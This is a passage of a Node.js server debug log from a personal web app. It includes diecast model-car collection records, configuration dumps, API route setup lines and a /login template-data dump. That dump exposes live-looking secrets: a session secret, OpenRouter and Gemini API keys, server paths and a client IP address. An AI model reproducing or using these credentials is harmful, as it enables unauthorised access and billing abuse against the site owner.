      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T09:25:00.898Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-14T09:25:03.169Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-14T09:25:04.031Z server-connect:setup:upload Upload middleware configured.
2026-07-14T09:25:04.031Z server-connect:secure CSRF Protection initialized
2026-07-14T09:25:04.037Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-14T09:25:04.037Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-14T09:25:04.039Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-14T09:25:04.041Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-14T09:25:04.048Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-14T09:25:04.051Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-14T09:25:04.068Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-14T09:25:04.079Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-14T09:25:04.085Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-14T09:25:04.085Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-14T09:25:04.085Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-14T09:25:04.091Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-14T09:25:04.096Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-14T09:25:04.106Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-14T09:25:04.110Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-14T09:25:04.182Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-14T09:25:04.184Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-14T09:25:04.188Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-14T09:25:04.194Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-14T09:25:04.200Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-14T09:25:04.201Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-14T09:25:04.210Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-14T09:25:04.211Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-14T09:25:04.218Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-14T09:25:04.218Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-14T09:25:04.223Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-14T09:25:04.225Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-14T09:25:04.227Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-14T09:25:04.233Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-14T09:25:04.235Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-14T09:25:04.237Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-14T09:25:04.239Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-14T09:25:04.243Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-14T09:25:04.244Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-14T09:25:04.250Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-14T09:25:04.254Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-14T09:25:04.256Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-14T09:25:04.266Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-14T09:25:04.756Z server-connect:router Serving templateView /
2026-07-14T09:25:04.758Z server-connect:app Executing action step identify
2026-07-14T09:25:04.758Z server-connect:app options: { provider: 'security' }
2026-07-14T09:25:04.761Z server-connect:auth No login cookie found
2026-07-14T09:25:04.761Z server-connect:output identity: false
2026-07-14T09:25:04.761Z server-connect:app Executing action step restrict
2026-07-14T09:25:04.761Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-14T09:25:04.765Z server-connect:output restrict: undefined
2026-07-14T17:36:26.993Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-14T17:36:29.263Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-14T17:36:30.127Z server-connect:setup:upload Upload middleware configured.
2026-07-14T17:36:30.127Z server-connect:secure CSRF Protection initialized
2026-07-14T17:36:30.131Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-14T17:36:30.134Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-14T17:36:30.134Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-14T17:36:30.139Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-14T17:36:30.146Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-14T17:36:30.149Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-14T17:36:30.166Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-14T17:36:30.177Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-14T17:36:30.182Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-14T17:36:30.182Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-14T17:36:30.183Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-14T17:36:30.188Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-14T17:36:30.193Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-14T17:36:30.204Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-14T17:36:30.207Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-14T17:36:30.280Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-14T17:36:30.280Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-14T17:36:30.285Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-14T17:36:30.292Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-14T17:36:30.295Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-14T17:36:30.298Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-14T17:36:30.306Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-14T17:36:30.306Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-14T17:36:30.313Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-14T17:36:30.313Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-14T17:36:30.318Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-14T17:36:30.321Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-14T17:36:30.321Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-14T17:36:30.329Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-14T17:36:30.329Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-14T17:36:30.333Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-14T17:36:30.333Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-14T17:36:30.338Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-14T17:36:30.341Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-14T17:36:30.347Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-14T17:36:30.351Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-14T17:36:30.351Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-14T17:36:30.361Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-14T17:36:30.851Z server-connect:router Serving templateView /
2026-07-14T17:36:30.853Z server-connect:app Executing action step identify
2026-07-14T17:36:30.853Z server-connect:app options: { provider: 'security' }
2026-07-14T17:36:30.855Z server-connect:auth No login cookie found
2026-07-14T17:36:30.855Z server-connect:output identity: false
2026-07-14T17:36:30.855Z server-connect:app Executing action step restrict
2026-07-14T17:36:30.856Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-14T17:36:30.860Z server-connect:output restrict: undefined
2026-07-14T17:36:30.916Z server-connect:router Serving templateView /login
2026-07-14T17:36:30.922Z server-connect:app Executing action step identify
2026-07-14T17:36:30.922Z server-connect:app options: { provider: 'security' }
2026-07-14T17:36:30.922Z server-connect:auth No login cookie found
2026-07-14T17:36:30.922Z server-connect:output identity: false
2026-07-14T17:36:30.923Z server-connect:router Render template layouts/authentication
2026-07-14T17:36:30.923Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    connection: 'keep-alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '85.215.119.184',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-15T17:36:30.915Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '85.215.119.184',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
